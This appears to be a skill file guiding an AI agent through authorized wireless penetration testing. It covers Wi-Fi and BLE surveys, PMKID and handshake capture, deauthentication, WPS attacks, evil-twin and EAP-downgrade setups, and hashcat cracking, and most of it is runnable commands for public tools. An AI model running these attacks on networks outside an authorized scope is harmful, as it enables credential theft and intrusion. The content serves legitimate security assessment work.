| name | wireless-technique |
| description | Auth assessment: wireless methodology; Wi-Fi/BLE survey, WPA/WPA3 handshake/PMKID labs, WPS, rogue-AP simulation, auth-material handoff. |
| license | MIT |
| compatibility | Linux; compatible wireless adapter for monitor-mode lab work. |
| metadata | {"author":"AeonDave","version":"1.0","category":"offensive-techniques","language":"multi"} |
Wireless Technique
Goal: identify, capture, and exploit wireless network credentials or gain direct network access via RF attack surface with minimal RF noise and targeted scope.
When this technique applies
- Physical proximity to target wireless infrastructure (within RF range).
- Authorized wireless assessment of 802.11 or Bluetooth/BLE networks.
- Initial access objective requiring network entry via Wi-Fi.
- Authorized analysis of wireless packet captures containing WPA handshakes, PMKID material, or RF evidence.
Boundary with other skills
- Handshake / PMKID cracking: captured material →
cracking-technique (hashcat mode 2500/22000/16800).
- Post-network-access: use
recon-technique + vuln-search-technique once on network.
- PCAP analysis: traffic captured during or after attack →
forensic-technique §3 (PCAP/network forensics) or network-technique §Case B.
- BLE protocol RE: deep protocol analysis →
reversing-technique §6 (protocol reversing).
Initial triage
Before transmitting, classify the wireless target set and choose the quietest path that can satisfy the assessment objective.
- Starting state: are you assessing Wi-Fi access control, handshake capture, WPS exposure, evil-twin resilience, BLE exposure, or analyzing an existing capture?
- First questions: what RF scope is authorized, what SSIDs/BSSIDs and encryption modes are present, are clients active, and is the likely first path passive capture, PMKID, targeted handshake, WPS, or BLE enumeration?
- Immediate actions: complete passive survey, rank targets by value and feasibility, then choose one attack lane per target.
- Tool-family direction: use passive survey skills first (
kismet, aircrack-ng capture flow, lswifi, bluez, sparrow-wifi), then move to active capture or impersonation tooling (aircrack-ng, wifite, bettercap) only when the classification justifies it.
- Escalation rule: prefer passive and targeted capture over noisy broadcast actions; only deauth or impersonate when passive routes are insufficient.
Hardware requirements
- 802.11 adapter capable of monitor mode and packet injection (iwconfig / airmon-ng compatible).
- Separate adapter for BLE enumeration (
hci device or dongle).
- Verify:
iw list | grep -A10 "Supported interface modes" — must show monitor.
Agent operating model
Loop:
1. Passive survey — inventory APs and clients without transmitting.
2. Target selection — identify high-value networks by SSID, client count, encryption.
3. Attack path selection — based on encryption type and WPS status.
4. Capture or exploit.
5. Crack offline or pivot to network.
Stop when: valid PSK recovered, network access achieved, or scope exhausted.
Never transmit before completing passive survey. Always operate within authorized scope and RF boundaries.
Phase 1 — Passive survey
Zero transmission. Capture all beacon frames and probe requests in range.
Adapter setup
iw dev; iw list | grep -A5 "Supported interface modes"
sudo airmon-ng start wlan0
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
sudo airmon-ng check kill
Survey with airodump-ng
sudo airodump-ng wlan0mon
sudo airodump-ng --band abg wlan0mon
sudo airodump-ng wlan0mon -w survey --output-format csv,cap
sudo airodump-ng -c <channel> --bssid <AP_MAC> wlan0mon -w capture
Kismet — comprehensive passive survey
Better for long-term logging, multiple adapters, and BLE/802.15.4.
sudo kismet -c wlan0mon
kismetdb_to_wireshark --in kismet_log.kismet --out kismet.pcap
kismetdb_to_csv --in kismet_log.kismet --out devices.csv
See offensive-tools/wireless/kismet/.
lswifi — quick Windows survey
lswifi # list all visible networks with signal, encryption, channel
lswifi -ap # AP-only view
See offensive-tools/wireless/lswifi/.
Survey output to collect
Per AP:
- BSSID, SSID, channel, band (2.4/5/6 GHz), encryption type (OPN/WEP/WPA2-PSK/WPA2-EAP/WPA3)
- Client MACs, probe requests (reveal hidden SSIDs)
- Signal strength (RSSI) — gauge physical proximity
- WPS enabled/locked status
Phase 2 — Target classification and attack path selection
| Encryption | WPS | Primary attack | Secondary |
|---|
| OPN (open) | N/A | Direct join | Traffic capture → forensic-technique |
| WEP | N/A | ARP replay → key recovery | Statistical IV attack |
| WPA2-PSK | enabled + unlocked | WPS PIN / Pixie Dust | PMKID + handshake |
| WPA2-PSK | disabled/locked | PMKID → handshake capture | Evil twin |
| WPA2-EAP (Enterprise) | N/A | Evil twin EAP downgrade → RADIUS | Client cert theft |
| WPA3-SAE | N/A | Downgrade to WPA2 (if transition mode) | Dictionary via PMKID/dragonblood |
Decision rules:
- Prefer PMKID before deauth when the AP exposes it; no client needed and lower RF noise.
- Prefer targeted four-way handshake capture when clients are active and PMKID is unavailable.
- Use WPS/Pixie Dust only when WPS is enabled and not locked; stop immediately on lock indicators.
- Treat WPA2/WPA3 Enterprise as identity/certificate/RADIUS assessment, not PSK cracking.
- For BLE, switch to
references/bluetooth-attacks.md; BLE pairing/GATT flaws are separate from Wi-Fi credential capture.
Phase 3 — WPA2-PSK attacks
PMKID capture (no client needed)
Faster than handshake — requests PMKID directly from AP without waiting for client association.
sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --rds=1
sudo tcpdump -y IEEE802_11_RADIO -i wlan0mon --dump-bpf \
"wlan addr3 aa:bb:cc:dd:ee:ff" > bssid.bpf
sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --bpf=bssid.bpf --rds=1
hcxpcapngtool -o hash22000.txt pmkid.pcapng
hashcat -m 22000 hash22000.txt /path/to/rockyou.txt
Four-way handshake capture
Requires client to authenticate. Either wait or force deauth.
sudo airodump-ng -c <channel> --bssid <AP_MAC> -w handshake wlan0mon
sudo aireplay-ng -0 3 -a <AP_MAC> -c <client_MAC> wlan0mon
sudo aireplay-ng -0 5 -a <AP_MAC> wlan0mon
aircrack-ng handshake*.cap
hcxpcapngtool -o hash.txt handshake.cap
hashcat -m 22000 hash.txt rockyou.txt
wifite — automated multi-target
Automates passive → deauth → handshake → PMKID for multiple targets.
sudo wifite --kill
sudo wifite --ssid "TargetNetwork" --kill
sudo wifite --wps --kill
sudo wifite --dict /path/to/rockyou.txt --kill
See offensive-tools/wireless/wifite/.
→ Full attack patterns and hashcat cracking handoff: references/wpa-attacks.md.
Phase 4 — WPS attacks
WPS PIN has a design flaw: PIN validated in two halves → only 11,000 combinations (not 100,000,000).
Decision flow:
- Check WPS presence and lock state with
wash.
- If WPS disabled or locked → skip WPS; move to PMKID/handshake/evil twin.
- If WPS enabled and unlocked → try Pixie Dust first (
reaver -K 1) because vulnerable chipsets can reveal the PIN offline from one exchange.
- If Pixie Dust fails → online PIN brute-force only when explicitly allowed, rate-limited, and lock behavior is understood.
- If lock appears → stop; repeated attempts are noisy and can trigger WIDS or disable WPS.
sudo wash -i wlan0mon
sudo reaver -i wlan0mon -b <AP_MAC> -K 1 -v
sudo reaver -i wlan0mon -b <AP_MAC> -v -d 1 --lock-delay=300
sudo bully wlan0mon -b <AP_MAC> -d -v 3
WPS lock detection: if AP locks after several attempts, stop immediately — lock triggers IDS alerts and some APs disable WPS permanently.
Phase 5 — Evil twin / captive portal
Impersonate legitimate AP to capture credentials or EAP material.
WPA2-Personal evil twin (PSK capture)
sudo airbase-ng -a <AP_MAC_spoof> -e "TargetSSID" -c <channel> wlan0mon
sudo bettercap -eval "set wifi.interface wlan0mon; wifi.recon on"
WPA2-Enterprise evil twin (EAP downgrade)
Force clients to connect to rogue RADIUS → capture MSCHAPv2 hashes → crack offline.
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
python3 eaphammer -i wlan0mon --channel <ch> --auth wpa-eap --essid "Corp-WiFi" \
--creds --hostile-portal
→ Full evil twin patterns, captive portal, EAP downgrade: references/evil-twin.md.
Phase 6 — WPA3 and transition mode
WPA3-SAE provides forward secrecy and stronger offline attack resistance. However:
- Transition mode (WPA2/WPA3 mixed): AP accepts both SAE and PSK → attack via WPA2 path.
- Dragonblood: timing/cache side-channel against SAE handshake (patched in most 2020+ firmware).
sudo airodump-ng wlan0mon | grep -i "WPA3\|SAE"
→ WPA3 dragonblood details and BLE attacks: references/wpa3-and-ble.md.
Phase 7 — Bluetooth / BLE enumeration
Passive BLE device survey — identify exposed GATT services, advertised data, signal proximity.
sudo bluetoothctl
[bluetooth]# scan on
[bluetooth]# devices
[bluetooth]# info <MAC>
sudo hcitool lescan
sudo hcitool scan
gatttool -b <device_MAC> -I
[device_MAC][LE]> connect
[device_MAC][LE]> primary
[device_MAC][LE]> characteristics
sudo bettercap -eval "ble.recon on"
bettercap> ble.show
bettercap> ble.enum <MAC>
bettercap> ble.write <MAC> <handle> <hex_data>
See offensive-tools/wireless/bluez/, offensive-tools/wireless/sparrow-wifi/, offensive-tools/wireless/kismet/, and offensive-tools/network/bettercap/.
→ BLE GATT exploitation, pairing/security-mode testing, classic Bluetooth attacks, BLE MITM: references/bluetooth-attacks.md.
Quality gates
- Monitor mode confirmed before any capture (check with
iw dev).
- Passive survey complete — target BSSID, channel, encryption, WPS status all known.
- Deauth attacks targeted (specific client MAC) not broadcast unless necessary.
- Handshake/PMKID capture verified before handing off to cracking.
- WPS attacks stopped at first lock indicator.
- Evil twin deployed only within authorized RF perimeter.
- BLE writes/MITM attempted only after passive discovery and scoped device identity are confirmed.
Anti-patterns
- Transmitting (deauth, injection) before completing passive survey → unnecessary noise.
- Broadcasting deauth at max power → triggers WIDS on adjacent APs.
- Attempting WPS brute-force when AP shows WPS locked → locked status means IDS is active.
- Cracking inline during capture instead of offline → slows capture, may miss handshake.
- Using wrong channel/BSSID combination → capturing wrong AP traffic.
Resources
- references/wpa-attacks.md — WPA2 attack playbooks: PMKID, 4-way handshake, deauth strategy, hashcat format conversion, cracking handoff.
- references/wpa3-and-ble.md — WPA3 transition mode exploitation, dragonblood, BLE enumeration, GATT service analysis, BLE MITM patterns.
- references/bluetooth-attacks.md — Bluetooth/BLE assessment sequence: discovery, pairing, authentication, encryption, GATT/SDP, MITM/downgrade, evidence packaging.
- references/evil-twin.md — Evil twin setup, WPA2-Personal PSK capture, WPA2-Enterprise EAP downgrade (hostapd-wpe, eaphammer), captive portal credential harvest.
- references/iot-zigbee-matter.md — Load for 802.15.4 mesh protocols. Covers KillerBee, Touchlink commissioning abuse, and Zigbee Global Link Key sniffing.
- references/sub-ghz-lorawan.md — Load for 433/868/915 MHz targets. Covers raw IQ capture/replay, OOK/FSK analysis, and LoRaWAN ABP/OTAA key vulnerabilities.